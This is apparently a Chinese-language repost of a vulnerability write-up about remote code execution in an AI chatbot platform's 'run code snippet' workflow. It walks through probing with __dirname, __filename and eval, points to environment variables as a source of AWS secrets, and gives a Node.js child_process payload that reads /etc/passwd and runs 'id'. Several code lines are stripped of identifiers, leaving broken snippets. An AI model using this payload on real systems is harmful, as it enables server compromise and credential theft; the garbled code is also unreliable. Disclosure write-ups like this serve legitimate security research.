未经许可,不得转载。
文章目录
- 前言
- 正文
前言
我发现了一个广泛使用的AI聊天机器人平台中的远程代码执行漏洞。该漏洞存在于聊天机器人的自定义工作流响应代码中,这些工作流允许开发人员通过创建定制的流程来扩展机器人的功能。
正文
在浏览自动化聊天机器人的多个特定功能时,其中一个引起我注意的功能是“Start from scratch”选项,如下所示:
此“Start from scratch”选项包含多个用于定制聊天机器人自动化的选项,例如:工作流、Webhooks和自定义代码片段,如下图所示:
查看其余选项后,我开始探索“运行代码片段”选项。
该功能包含可自定义的代码,用于从聊天机器人获取自定义响应。例如,responseJson函数有一个默认值为“Hello World”的botMessage参数。
默认代码片段如下:
const responseJson = {
botMessage: "Hello world",
responseExpected: false
}
- 1
- 2
- 3
- 4
也就是定义了返回的消息和是否期待进一步响应的默认设置。
由于聊天机器人是使用 Node 框架构建的,我尝试获取/检查全局变量的响应,例如 __dirname
、__filename
,并尝试在“Hello World”位置执行像 eval(7*7)
这样的函数。
以下是使用全局变量以及聊天机器人响应的代码示例:
const responseJson = {
botMessage : __dirname,
responseExpected : false
}
- 1
- 2
- 3
- 4
可以看到,我在聊天机器人中得到了“/var/task”作为输出,这意味着全局变量 __dirname
在内部成功执行,并且我们得到了正确的输出。
同理:
const responseJson = {
botMessage : __filename,
responseExpected : false
}
- 1
- 2
- 3
- 4
输出“ /var/task/ ”。
同理:
const responseJson = {
botMessage:eval(7 * 7),
responseExpected:false
}
- 1
- 2
- 3
- 4
输出49。
接下来我想提高漏洞危害,于是我开始查看 Nodejs 官方文档,并找到了更多全局变量/对象来检查是否存在更多数据泄漏(官方文档:/api/#process)。
例如、 、() 、 () 、 () 等
1、
const responseJson = {
botMessage : ,
responseExpected : false
}
- 1
- 2
- 3
- 4
检查环境变量至关重要,因为它们有时会存储 AWS_SECRET 和 AWS_KEY。
2、
const responseJson = {
botMessage: ,
responseExpected: false
}
- 1
- 2
- 3
- 4
3、
const responseJson = {
botMessage : ,
responseExpected : false
}
- 1
- 2
- 3
- 4
4、()
const responseJson = {
botMessage: (),
responseExpected: false
}
- 1
- 2
- 3
- 4
5、经过多次尝试、调试后,我创建出一个完整的RCE Payload来获取 /etc/passwd 文件:
const { exec } = require('child_process');
= (event, callback) => {
exec('head /etc/passwd', (error, stdout, stderr) => {
if (error) {
(exec error: ${error});
return;
}
if (stderr) {
(stderr: ${stderr});
return;
}
const responseJson = {
botMessage: stdout,
responseExpected: false
};
callback(responseJson);
});
};
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
运行“ id ”命令:
原文出处:
/unveiling-remote-code-execution-in-ai-chatbot-workflows-3c7f633f63c3